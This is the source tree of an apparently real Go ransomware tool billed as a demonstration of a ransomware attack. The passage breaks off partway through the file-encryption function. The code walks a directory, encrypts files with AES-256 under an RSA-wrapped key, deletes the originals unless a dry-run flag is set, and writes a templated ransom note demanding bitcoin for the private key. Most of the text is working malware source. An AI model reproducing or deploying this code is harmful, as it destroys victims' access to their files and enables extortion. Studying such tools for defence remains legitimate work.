├── utils ├── log.go └── slices.go ├── fs ├── hidden_unix.go ├── file.go ├── hidden_windows.go └── walk.go ├── go.mod ├── ransom └── IMPORTANT.txt ├── go.sum ├── LICENSE ├── cli ├── keys.go └── ransomware.go ├── crypto ├── aes.go └── rsa.go ├── .gitignore ├── main.go └── README.md /utils/log.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "io" 5 | "log" 6 | ) 7 | 8 | func DisableLogs() { 9 | log.SetFlags(0) 10 | log.SetOutput(io.Discard) 11 | } 12 | -------------------------------------------------------------------------------- /utils/slices.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | func SliceContains(s []string, str string) bool { 4 | for _, v := range s { 5 | if v == str { 6 | return true 7 | } 8 | } 9 | 10 | return false 11 | } 12 | -------------------------------------------------------------------------------- /fs/hidden_unix.go: -------------------------------------------------------------------------------- 1 | //go:build !windows 2 | // +build !windows 3 | 4 | package fs 5 | 6 | import ( 7 | "path/filepath" 8 | ) 9 | 10 | const dotCharacter = 46 11 | 12 | func IsHidden(path string) (bool, error) { 13 | return filepath.Base(path)[0] == dotCharacter, nil 14 | } 15 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/marmos91/ransomware 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be 7 | github.com/urfave/cli/v2 v2.19.2 8 | ) 9 | 10 | require ( 11 | github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect 12 | github.com/russross/blackfriday/v2 v2.1.0 // indirect 13 | github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 // indirect 14 | ) 15 | -------------------------------------------------------------------------------- /ransom/IMPORTANT.txt: -------------------------------------------------------------------------------- 1 | !!! IMPORTANT !!! 2 | 3 | All of your files are encrypted with RSA 2048 and AES 256 ciphers. 4 | More information about RSA and AES can be found here: 5 | - https://en.wikipedia.org/wiki/RSA_(cryptosystem) 6 | - https://en.wikipedia.org/wiki/Advanced_Encryption_Standard 7 | 8 | Decrypting of your files is only possible with the private key and decrypt program, which is not available to you. 9 | To receive your private key please send {{.BitcoinCount}}BTC to {{.BitcoinAddress}} together with the public key used to encrypt your files 10 | 11 | The public key to use in the form is 12 | 13 | {{.PublicKey}} -------------------------------------------------------------------------------- /fs/file.go: -------------------------------------------------------------------------------- 1 | package fs 2 | 3 | import ( 4 | "os" 5 | ) 6 | 7 | func WriteToFile(path string, content []byte) error { 8 | return os.WriteFile(path, content, 0644) 9 | } 10 | 11 | func WriteStringToFile(path string, content string) error { 12 | return WriteToFile(path, []byte(content)) 13 | } 14 | 15 | func ReadStringFileContent(path string) (string, error) { 16 | data, err := os.ReadFile(path) 17 | 18 | if err != nil { 19 | return "", err 20 | } 21 | 22 | return string(data), nil 23 | } 24 | 25 | func DeleteFileIfExists(path string) error { 26 | if _, err := os.Stat(path); err != nil { 27 | return nil 28 | } 29 | 30 | return os.Remove(path) 31 | } 32 | -------------------------------------------------------------------------------- /fs/hidden_windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | // +build windows 3 | 4 | package fs 5 | 6 | import ( 7 | "path/filepath" 8 | "syscall" 9 | ) 10 | 11 | const dotCharacter = 46 12 | 13 | func IsHidden(path string) (bool, error) { 14 | // dotfiles also count as hidden (if you want) 15 | if path[0] == dotCharacter { 16 | return true, nil 17 | } 18 | 19 | absPath, err := filepath.Abs(path) 20 | if err != nil { 21 | return false, err 22 | } 23 | 24 | // Appending `\\?\` to the absolute path helps with 25 | // preventing 'Path Not Specified Error' when accessing 26 | // long paths and filenames 27 | // https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd 28 | pointer, err := syscall.UTF16PtrFromString(`\\?\` + absPath) 29 | if err != nil { 30 | return false, err 31 | } 32 | 33 | attributes, err := syscall.GetFileAttributes(pointer) 34 | if err != nil { 35 | return false, err 36 | } 37 | 38 | return attributes&syscall.FILE_ATTRIBUTE_HIDDEN != 0, nil 39 | } 40 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ= 2 | github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w= 3 | github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= 4 | github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 5 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= 6 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 7 | github.com/urfave/cli/v2 v2.19.2 h1:eXu5089gqqiDQKSnFW+H/FhjrxRGztwSxlTsVK7IuqQ= 8 | github.com/urfave/cli/v2 v2.19.2/go.mod h1:1CNUng3PtjQMtRzJO4FMXBQvkGtuYRxxiR9xMa7jMwI= 9 | github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 h1:bAn7/zixMGCfxrRTfdpNzjtPYqr8smhKouy9mxVdGPU= 10 | github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673/go.mod h1:N3UwUGtsrSj3ccvlPHLoLsHnpR27oXr4ZE984MbSER8= 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Marco Moschettini 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /cli/keys.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "log" 5 | "path/filepath" 6 | 7 | "github.com/marmos91/ransomware/crypto" 8 | "github.com/marmos91/ransomware/fs" 9 | urfavecli "github.com/urfave/cli/v2" 10 | ) 11 | 12 | const PUBLIC_KEY_NAME = "pub.pem" 13 | const PRIVATE_KEY_NAME = "priv.pem" 14 | 15 | func CreateKeys(ctx *urfavecli.Context) error { 16 | path := ctx.String("path") 17 | 18 | rsaKeypair, err := crypto.NewRandomRsaKeypair(crypto.RSA_KEY_SIZE) 19 | 20 | if err != nil { 21 | return err 22 | } 23 | 24 | absolutePath, err := filepath.Abs(path) 25 | 26 | if err != nil { 27 | return err 28 | } 29 | 30 | log.Println("Generated random keys at", absolutePath) 31 | log.Printf("Hide your %s key!", PRIVATE_KEY_NAME) 32 | 33 | privatePemContent := crypto.ExportRsaPrivateKeyAsPemStr(rsaKeypair.Private) 34 | publicPemContent, err := crypto.ExportRsaPublicKeyAsPemStr(rsaKeypair.Public) 35 | 36 | if err != nil { 37 | return err 38 | } 39 | 40 | fs.WriteStringToFile(filepath.Join(path, PRIVATE_KEY_NAME), privatePemContent) 41 | fs.WriteStringToFile(filepath.Join(path, PUBLIC_KEY_NAME), publicPemContent) 42 | 43 | return nil 44 | } 45 | -------------------------------------------------------------------------------- /fs/walk.go: -------------------------------------------------------------------------------- 1 | package fs 2 | 3 | import ( 4 | iofs "io/fs" 5 | "path/filepath" 6 | 7 | "github.com/marmos91/ransomware/utils" 8 | ) 9 | 10 | func WalkFilesWithExtFilter(path string, extBlacklist []string, extWhitelist []string, skipHidden bool, callback func(path string, info iofs.FileInfo) error) error { 11 | return filepath.Walk(path, func(currentPath string, currentInfo iofs.FileInfo, currentErr error) error { 12 | if currentErr != nil { 13 | return currentErr 14 | } 15 | 16 | isHidden, err := IsHidden(currentPath) 17 | 18 | if err != nil { 19 | return currentErr 20 | } 21 | 22 | if skipHidden && isHidden { 23 | return currentErr 24 | } 25 | 26 | if currentInfo.IsDir() { 27 | return currentErr 28 | } 29 | 30 | if len(extWhitelist) > 0 && whitelisted(currentPath, extWhitelist) { 31 | currentErr = callback(currentPath, currentInfo) 32 | } else if len(extBlacklist) > 0 && notBlacklisted(currentPath, extBlacklist) { 33 | currentErr = callback(currentPath, currentInfo) 34 | } else { 35 | if currentInfo.IsDir() { 36 | currentErr = callback(currentPath, currentInfo) 37 | } 38 | } 39 | 40 | return currentErr 41 | }) 42 | } 43 | 44 | func whitelisted(path string, whitelist []string) bool { 45 | return utils.SliceContains(whitelist, filepath.Ext(path)) 46 | } 47 | 48 | func notBlacklisted(path string, blacklist []string) bool { 49 | return !utils.SliceContains(blacklist, filepath.Ext(path)) 50 | } 51 | -------------------------------------------------------------------------------- /crypto/aes.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "io" 8 | ) 9 | 10 | type AesKey []byte 11 | 12 | const AES_KEY_SIZE = 32 13 | 14 | // Encrypts a buffer with AES 15 | func AesEncrypt(plainText []byte, key AesKey) ([]byte, error) { 16 | block, err := aes.NewCipher(key) 17 | 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | gcm, err := cipher.NewGCM(block) 23 | 24 | if err != nil { 25 | return nil, err 26 | } 27 | 28 | nonce := make([]byte, gcm.NonceSize()) 29 | _, err = io.ReadFull(rand.Reader, nonce) 30 | if err != nil { 31 | return nil, err 32 | } 33 | 34 | cypherText := gcm.Seal(nonce, nonce, plainText, nil) 35 | 36 | return cypherText, nil 37 | } 38 | 39 | // Decrypts a buffer with AES 40 | func AesDecrypt(cypherText []byte, key AesKey) ([]byte, error) { 41 | block, err := aes.NewCipher(key) 42 | 43 | if err != nil { 44 | return nil, err 45 | } 46 | 47 | gcm, err := cipher.NewGCM(block) 48 | 49 | if err != nil { 50 | return nil, err 51 | } 52 | 53 | plainText, err := gcm.Open(nil, cypherText[:gcm.NonceSize()], cypherText[gcm.NonceSize():], nil) 54 | 55 | if err != nil { 56 | return nil, err 57 | } 58 | 59 | return plainText, nil 60 | } 61 | 62 | // Creates a new random AES key 63 | func NewRandomAesKey(keySize int) (AesKey, error) { 64 | key := make([]byte, keySize) 65 | 66 | _, err := io.ReadFull(rand.Reader, key) 67 | 68 | if err != nil { 69 | return nil, err 70 | } 71 | 72 | return key, nil 73 | } 74 | -------------------------------------------------------------------------------- /crypto/rsa.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/sha256" 8 | "crypto/x509" 9 | "encoding/pem" 10 | "errors" 11 | ) 12 | 13 | const RSA_KEY_SIZE = 2048 14 | 15 | type Keypair struct { 16 | Public *rsa.PublicKey 17 | Private *rsa.PrivateKey 18 | } 19 | 20 | func NewRandomRsaKeypair(keySize int) (*Keypair, error) { 21 | privateKey, err := rsa.GenerateKey(rand.Reader, keySize) 22 | 23 | if err != nil { 24 | return nil, err 25 | } 26 | 27 | return &Keypair{ 28 | Public: &privateKey.PublicKey, 29 | Private: privateKey, 30 | }, nil 31 | } 32 | 33 | func ExportRsaPrivateKeyAsPemStr(privkey *rsa.PrivateKey) string { 34 | privkey_bytes := x509.MarshalPKCS1PrivateKey(privkey) 35 | privkey_pem := pem.EncodeToMemory( 36 | &pem.Block{ 37 | Type: "RSA PRIVATE KEY", 38 | Bytes: privkey_bytes, 39 | }, 40 | ) 41 | return string(privkey_pem) 42 | } 43 | 44 | func ParseRsaPrivateKeyFromPemStr(privPEM string) (*rsa.PrivateKey, error) { 45 | block, _ := pem.Decode([]byte(privPEM)) 46 | if block == nil { 47 | return nil, errors.New("failed to parse PEM block containing the key") 48 | } 49 | 50 | priv, err := x509.ParsePKCS1PrivateKey(block.Bytes) 51 | if err != nil { 52 | return nil, err 53 | } 54 | 55 | return priv, nil 56 | } 57 | 58 | func ExportRsaPublicKeyAsPemStr(pubkey *rsa.PublicKey) (string, error) { 59 | pubkey_bytes, err := x509.MarshalPKIXPublicKey(pubkey) 60 | if err != nil { 61 | return "", err 62 | } 63 | pubkey_pem := pem.EncodeToMemory( 64 | &pem.Block{ 65 | Type: "RSA PUBLIC KEY", 66 | Bytes: pubkey_bytes, 67 | }, 68 | ) 69 | 70 | return string(pubkey_pem), nil 71 | } 72 | 73 | func ParseRsaPublicKeyFromPemStr(pubPEM string) (*rsa.PublicKey, error) { 74 | block, _ := pem.Decode([]byte(pubPEM)) 75 | if block == nil { 76 | return nil, errors.New("failed to parse PEM block containing the key") 77 | } 78 | 79 | pub, err := x509.ParsePKIXPublicKey(block.Bytes) 80 | if err != nil { 81 | return nil, err 82 | } 83 | 84 | switch pub := pub.(type) { 85 | case *rsa.PublicKey: 86 | return pub, nil 87 | default: 88 | break // fall through 89 | } 90 | return nil, errors.New("key type is not RSA") 91 | } 92 | 93 | func RsaEncrypt(plainText []byte, publicKey *rsa.PublicKey) ([]byte, error) { 94 | cipherText, err := rsa.EncryptOAEP( 95 | sha256.New(), 96 | rand.Reader, 97 | publicKey, 98 | plainText, 99 | nil, 100 | ) 101 | 102 | if err != nil { 103 | return nil, err 104 | } 105 | 106 | return cipherText, nil 107 | } 108 | 109 | func RsaDecrypt(cipherText []byte, privateKey *rsa.PrivateKey) ([]byte, error) { 110 | plainText, err := privateKey.Decrypt( 111 | nil, 112 | cipherText, 113 | &rsa.OAEPOptions{ 114 | Hash: crypto.SHA256, 115 | }, 116 | ) 117 | 118 | if err != nil { 119 | return nil, err 120 | } 121 | 122 | return plainText, err 123 | } 124 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by https://www.toptal.com/developers/gitignore/api/visualstudiocode,macos,linux,windows,go 2 | # Edit at https://www.toptal.com/developers/gitignore?templates=visualstudiocode,macos,linux,windows,go 3 | 4 | ### Go ### 5 | # If you prefer the allow list template instead of the deny list, see community template: 6 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 7 | # 8 | # Binaries for programs and plugins 9 | *.exe 10 | *.exe~ 11 | *.dll 12 | *.so 13 | *.dylib 14 | 15 | # Test binary, built with `go test -c` 16 | *.test 17 | 18 | # Output of the go coverage tool, specifically when used with LiteIDE 19 | *.out 20 | 21 | # Dependency directories (remove the comment below to include it) 22 | # vendor/ 23 | 24 | # Go workspace file 25 | go.work 26 | 27 | ### Go Patch ### 28 | /vendor/ 29 | /Godeps/ 30 | 31 | ### Linux ### 32 | *~ 33 | 34 | # temporary files which can be created if a process still has a handle open of a deleted file 35 | .fuse_hidden* 36 | 37 | # KDE directory preferences 38 | .directory 39 | 40 | # Linux trash folder which might appear on any partition or disk 41 | .Trash-* 42 | 43 | # .nfs files are created when an open file is removed but is still being accessed 44 | .nfs* 45 | 46 | ### macOS ### 47 | # General 48 | .DS_Store 49 | .AppleDouble 50 | .LSOverride 51 | 52 | # Icon must end with two \r 53 | Icon 54 | 55 | 56 | # Thumbnails 57 | ._* 58 | 59 | # Files that might appear in the root of a volume 60 | .DocumentRevisions-V100 61 | .fseventsd 62 | .Spotlight-V100 63 | .TemporaryItems 64 | .Trashes 65 | .VolumeIcon.icns 66 | .com.apple.timemachine.donotpresent 67 | 68 | # Directories potentially created on remote AFP share 69 | .AppleDB 70 | .AppleDesktop 71 | Network Trash Folder 72 | Temporary Items 73 | .apdisk 74 | 75 | ### macOS Patch ### 76 | # iCloud generated files 77 | *.icloud 78 | 79 | ### VisualStudioCode ### 80 | .vscode/* 81 | !.vscode/settings.json 82 | !.vscode/tasks.json 83 | !.vscode/launch.json 84 | !.vscode/extensions.json 85 | !.vscode/*.code-snippets 86 | 87 | # Local History for Visual Studio Code 88 | .history/ 89 | 90 | # Built Visual Studio Code Extensions 91 | *.vsix 92 | 93 | ### VisualStudioCode Patch ### 94 | # Ignore all local history of files 95 | .history 96 | .ionide 97 | 98 | # Support for Project snippet scope 99 | .vscode/*.code-snippets 100 | 101 | # Ignore code-workspaces 102 | *.code-workspace 103 | 104 | ### Windows ### 105 | # Windows thumbnail cache files 106 | Thumbs.db 107 | Thumbs.db:encryptable 108 | ehthumbs.db 109 | ehthumbs_vista.db 110 | 111 | # Dump file 112 | *.stackdump 113 | 114 | # Folder config file 115 | [Dd]esktop.ini 116 | 117 | # Recycle Bin used on file shares 118 | $RECYCLE.BIN/ 119 | 120 | # Windows Installer files 121 | *.cab 122 | *.msi 123 | *.msix 124 | *.msm 125 | *.msp 126 | 127 | # Windows shortcuts 128 | *.lnk 129 | 130 | # Keys 131 | *.pem 132 | 133 | # End of https://www.toptal.com/developers/gitignore/api/visualstudiocode,macos,linux,windows,go -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "os" 6 | "time" 7 | 8 | "github.com/common-nighthawk/go-figure" 9 | "github.com/marmos91/ransomware/cli" 10 | "github.com/marmos91/ransomware/utils" 11 | urfavecli "github.com/urfave/cli/v2" 12 | ) 13 | 14 | const APP_NAME = "ransomware" 15 | const APP_DESCRIPTION = "A simple demonstration tool to simulate a ransomware attack" 16 | const APP_VERSION = "v1.0.0" 17 | 18 | func Init() func(*urfavecli.Context) error { 19 | return func(ctx *urfavecli.Context) error { 20 | if !ctx.Bool("verbose") { 21 | utils.DisableLogs() 22 | } else { 23 | figure.NewFigure(APP_NAME, "graffiti", true).Print() 24 | } 25 | 26 | return nil 27 | } 28 | } 29 | 30 | func main() { 31 | app := &urfavecli.App{ 32 | Name: APP_NAME, 33 | Usage: APP_DESCRIPTION, 34 | Version: APP_VERSION, 35 | Compiled: time.Now(), 36 | Authors: []*urfavecli.Author{ 37 | { 38 | Name: "Marco Moschettini", 39 | Email: "marco.moschettini@cubbit.io", 40 | }, 41 | }, 42 | Flags: []urfavecli.Flag{ 43 | &urfavecli.BoolFlag{ 44 | Name: "verbose", 45 | Usage: "Runs the tool in silent mode (no logs)", 46 | Value: false, 47 | }, 48 | }, 49 | Commands: []*urfavecli.Command{ 50 | { 51 | Name: "create-keys", 52 | Aliases: []string{"c"}, 53 | Usage: "Generates a new random keypair and saves it to a file", 54 | Before: Init(), 55 | Flags: []urfavecli.Flag{ 56 | &urfavecli.StringFlag{ 57 | Name: "path", 58 | Aliases: []string{"p"}, 59 | Usage: "The path where to save the keys", 60 | Value: ".", 61 | }, 62 | }, 63 | Action: cli.CreateKeys, 64 | }, 65 | { 66 | Name: "encrypt", 67 | Usage: "Encrypts a directory", 68 | Aliases: []string{"e"}, 69 | Before: Init(), 70 | Flags: []urfavecli.Flag{ 71 | &urfavecli.StringFlag{ 72 | Name: "path", 73 | Aliases: []string{"p"}, 74 | Usage: "Runs the tool on a directory", 75 | Required: true, 76 | }, 77 | &urfavecli.StringFlag{ 78 | Name: "publicKey", 79 | Usage: "Loads the provided RSA public key in PEM format", 80 | Required: true, 81 | }, 82 | &urfavecli.StringFlag{ 83 | Name: "extBlacklist", 84 | Usage: "the extension to blacklist", 85 | Value: ".enc", 86 | }, 87 | &urfavecli.StringFlag{ 88 | Name: "extWhitelist", 89 | Usage: "the extension to whitelist", 90 | Value: "", 91 | }, 92 | &urfavecli.BoolFlag{ 93 | Name: "skipHidden", 94 | Usage: "skips hidden folders", 95 | Value: false, 96 | }, 97 | &urfavecli.BoolFlag{ 98 | Name: "dryRun", 99 | Usage: "encrypts files without deleting originals", 100 | Value: false, 101 | }, 102 | &urfavecli.StringFlag{ 103 | Name: "encSuffix", 104 | Usage: "defines the suffix to add to encrypted files", 105 | Value: ".enc", 106 | }, 107 | &urfavecli.BoolFlag{ 108 | Name: "addRansom", 109 | Usage: "if set to true add a ransom note to every encrypted folder", 110 | Value: false, 111 | }, 112 | &urfavecli.StringFlag{ 113 | Name: "ransomTemplatePath", 114 | Usage: "defines where to find the template to use for the ransom note", 115 | }, 116 | &urfavecli.StringFlag{ 117 | Name: "ransomFileName", 118 | Usage: "defines the name of the ransom file name", 119 | Value: "IMPORTANT.txt", 120 | }, 121 | &urfavecli.Float64Flag{ 122 | Name: "bitcoinCount", 123 | Usage: "how many bitcoins to ask as ransom", 124 | Value: 0, 125 | }, 126 | &urfavecli.StringFlag{ 127 | Name: "bitcoinAddress", 128 | Usage: "the bitcoin address to use", 129 | Value: "", 130 | }, 131 | }, 132 | Action: cli.Encrypt, 133 | }, 134 | { 135 | Name: "decrypt", 136 | Usage: "Decrypts a directory", 137 | Aliases: []string{"d"}, 138 | Before: Init(), 139 | Flags: []urfavecli.Flag{ 140 | &urfavecli.StringFlag{ 141 | Name: "path", 142 | Aliases: []string{"c"}, 143 | Usage: "Runs the tool on a directory", 144 | Required: true, 145 | }, 146 | &urfavecli.StringFlag{ 147 | Name: "privateKey", 148 | Usage: "Loads the provided RSA private key in PEM format", 149 | Required: true, 150 | }, 151 | &urfavecli.BoolFlag{ 152 | Name: "dryRun", 153 | Usage: "decrypts files without deleting encrypted versions", 154 | Value: false, 155 | }, 156 | &urfavecli.BoolFlag{ 157 | Name: "skipHidden", 158 | Usage: "skips hidden folders", 159 | Value: false, 160 | }, 161 | &urfavecli.StringFlag{ 162 | Name: "encSuffix", 163 | Usage: "defines the suffix to add to encrypted files", 164 | Value: ".enc", 165 | }, 166 | &urfavecli.StringFlag{ 167 | Name: "ransomFileName", 168 | Usage: "defines the name of the ransom file name", 169 | Value: "IMPORTANT.txt", 170 | }, 171 | }, 172 | Action: cli.Decrypt, 173 | }, 174 | }, 175 | } 176 | 177 | if err := app.Run(os.Args); err != nil { 178 | log.Fatal(err) 179 | } 180 | } 181 | -------------------------------------------------------------------------------- /cli/ransomware.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "crypto/rsa" 7 | "encoding/base64" 8 | "errors" 9 | "fmt" 10 | iofs "io/fs" 11 | "log" 12 | "os" 13 | "path/filepath" 14 | "strings" 15 | "text/template" 16 | 17 | "github.com/marmos91/ransomware/crypto" 18 | "github.com/marmos91/ransomware/fs" 19 | urfavecli "github.com/urfave/cli/v2" 20 | ) 21 | 22 | type Ransom struct { 23 | BitcoinAddress string 24 | BitcoinCount float32 25 | PublicKey string 26 | } 27 | 28 | func LoadPublicKey(path string) (*rsa.PublicKey, error) { 29 | rsaPublicString, err := fs.ReadStringFileContent(path) 30 | 31 | if err != nil { 32 | return nil, err 33 | } 34 | 35 | rsaPublic, err := crypto.ParseRsaPublicKeyFromPemStr(rsaPublicString) 36 | 37 | if err != nil { 38 | return nil, err 39 | } 40 | 41 | return rsaPublic, nil 42 | } 43 | 44 | func LoadPrivateKey(path string) (*rsa.PrivateKey, error) { 45 | rsaPrivateString, err := fs.ReadStringFileContent(path) 46 | 47 | if err != nil { 48 | return nil, err 49 | } 50 | 51 | rsaPrivate, err := crypto.ParseRsaPrivateKeyFromPemStr(rsaPrivateString) 52 | 53 | if err != nil { 54 | return nil, err 55 | } 56 | 57 | return rsaPrivate, nil 58 | } 59 | 60 | func Encrypt(ctx *urfavecli.Context) error { 61 | path := ctx.String("path") 62 | 63 | if path == "" { 64 | return errors.New("path argument is required") 65 | } 66 | 67 | publicKeyPath := ctx.String("publicKey") 68 | 69 | if publicKeyPath == "" { 70 | return errors.New("publicKey argument is required") 71 | } 72 | 73 | publicKey, err := LoadPublicKey(publicKeyPath) 74 | 75 | if err != nil { 76 | return err 77 | } 78 | 79 | log.Println("RSA public key loaded") 80 | 81 | log.Println("Generating new AES key for current session") 82 | plainAesKey, err := crypto.NewRandomAesKey(crypto.AES_KEY_SIZE) 83 | 84 | if err != nil { 85 | return err 86 | } 87 | 88 | encryptedAesKey, err := crypto.RsaEncrypt(plainAesKey, publicKey) 89 | 90 | if err != nil { 91 | return err 92 | } 93 | 94 | addRansom := ctx.Bool("addRansom") 95 | ransomTemplatePath := ctx.String("ransomTemplatePath") 96 | ransomFileName := ctx.String("ransomFileName") 97 | bitcoinCount := ctx.Float64("bitcoinCount") 98 | bitcoinAddress := ctx.String("bitcoinAddress") 99 | 100 | skipHidden := ctx.Bool("skipHidden") 101 | dryRun := ctx.Bool("dryRun") 102 | extBlacklist := strings.Split(ctx.String("extBlacklist"), ",") 103 | extWhitelist := strings.Split(ctx.String("extWhitelist"), ",") 104 | encSuffix := ctx.String("encSuffix") 105 | 106 | absolutePath, err := filepath.Abs(path) 107 | 108 | if err != nil { 109 | return err 110 | } 111 | 112 | log.Printf("Running ransomware tool on %s", absolutePath) 113 | log.Printf("Blacklisted extensions = %v", extBlacklist) 114 | log.Printf("Whitelisted extensions = %v", extWhitelist) 115 | log.Printf("Skipping hidden files/folders = %t", skipHidden) 116 | log.Printf("DryRun enabled = %t", dryRun) 117 | log.Printf("EncSuffix = %s", encSuffix) 118 | log.Printf("Encrypted key size = %d", len(encryptedAesKey)) 119 | log.Printf("Encrypted key = %s", base64.StdEncoding.EncodeToString(encryptedAesKey)) 120 | log.Printf("BitcoinAddress = %s", bitcoinAddress) 121 | log.Printf("BitcoinCount = %f", bitcoinCount) 122 | log.Printf("Ransom file template = %s", ransomTemplatePath) 123 | log.Printf("Ransom file name = %s", ransomFileName) 124 | 125 | err = fs.WalkFilesWithExtFilter(absolutePath, extBlacklist, extWhitelist, skipHidden, func(path string, info iofs.FileInfo) error { 126 | err := encryptFile(path, plainAesKey, encryptedAesKey, encSuffix) 127 | 128 | if err != nil { 129 | return err 130 | } 131 | 132 | if !dryRun { 133 | err := fs.DeleteFileIfExists(path) 134 | 135 | if err != nil { 136 | return err 137 | } 138 | } 139 | 140 | return nil 141 | }) 142 | 143 | if addRansom { 144 | ransomPath := filepath.Join(absolutePath, ransomFileName) 145 | 146 | log.Printf("Adding ransom file at %s", ransomPath) 147 | 148 | if _, err := os.Stat(ransomPath); errors.Is(err, os.ErrNotExist) { 149 | // Ransom file does not exist 150 | 151 | if ransomTemplatePath == "" { 152 | return errors.New("if you want to add a ransom you must provide a templatePath") 153 | } 154 | 155 | templateAbsPath, err := filepath.Abs(ransomTemplatePath) 156 | 157 | if err != nil { 158 | return err 159 | } 160 | 161 | template, err := template.ParseFiles(templateAbsPath) 162 | 163 | if err != nil { 164 | return err 165 | } 166 | 167 | textPublicKey, err := crypto.ExportRsaPublicKeyAsPemStr(publicKey) 168 | 169 | if err != nil { 170 | return err 171 | } 172 | 173 | file, err := os.Create(ransomPath) 174 | 175 | if err != nil { 176 | return err 177 | } 178 | 179 | defer file.Close() 180 | 181 | writer := bufio.NewWriter(file) 182 | 183 | err = template.Execute(writer, &Ransom{ 184 | BitcoinCount: float32(bitcoinCount), 185 | BitcoinAddress: bitcoinAddress, 186 | PublicKey: textPublicKey, 187 | }) 188 | 189 | if err != nil { 190 | return err 191 | } 192 | 193 | writer.Flush() 194 | } else { 195 | log.Printf("Ransom file already exists at %s. Skipping generation", ransomPath) 196 | } 197 | } 198 | 199 | return err 200 | } 201 | 202 | func Decrypt(ctx *urfavecli.Context) error { 203 | path := ctx.String("path") 204 | 205 | if path == "" { 206 | return errors.New("path argument is required") 207 | } 208 | 209 | privateKeyPath := ctx.String("privateKey") 210 | 211 | if privateKeyPath == "" { 212 | return errors.New("publicKey argument is required") 213 | } 214 | 215 | rsaPrivateKey, err := LoadPrivateKey(privateKeyPath) 216 | 217 | if err != nil { 218 | return err 219 | } 220 | 221 | log.Println("RSA private key loaded") 222 | 223 | dryRun := ctx.Bool("dryRun") 224 | skipHidden := ctx.Bool("skipHidden") 225 | encSuffix := ctx.String("encSuffix") 226 | ransomFileName := ctx.String("ransomFileName") 227 | extWhitelist := []string{encSuffix} 228 | 229 | log.Printf("EncSuffix = %s", encSuffix) 230 | log.Printf("DryRun enabled = %t", dryRun) 231 | log.Printf("Whitelisted extensions = %v", extWhitelist) 232 | log.Printf("Ransom file name = %s", ransomFileName) 233 | log.Printf("Skip Hidden = %t", skipHidden) 234 | 235 | absolutePath, err := filepath.Abs(path) 236 | 237 | if err != nil { 238 | return err 239 | } 240 | 241 | log.Printf("Running ransomware tool on %s", absolutePath) 242 | 243 | err = fs.WalkFilesWithExtFilter(absolutePath, nil, extWhitelist, skipHidden, func(path string, info iofs.FileInfo) error { 244 | err := decryptFile(path, rsaPrivateKey, encSuffix) 245 | 246 | if err != nil { 247 | return err 248 | } 249 | 250 | if !dryRun { 251 | err := fs.DeleteFileIfExists(path) 252 | 253 | if err != nil { 254 | return err 255 | } 256 | } 257 | 258 | return nil 259 | }) 260 | 261 | // Delete root ransom file (if any) 262 | fs.DeleteFileIfExists(filepath.Join(absolutePath, ransomFileName)) 263 | 264 | return err 265 | } 266 | 267 | func encryptFile(path string, aesKey crypto.AesKey, encryptedAesKey []byte, encSuffix string) error { 268 | log.Printf("Encrypting %s", path) 269 | 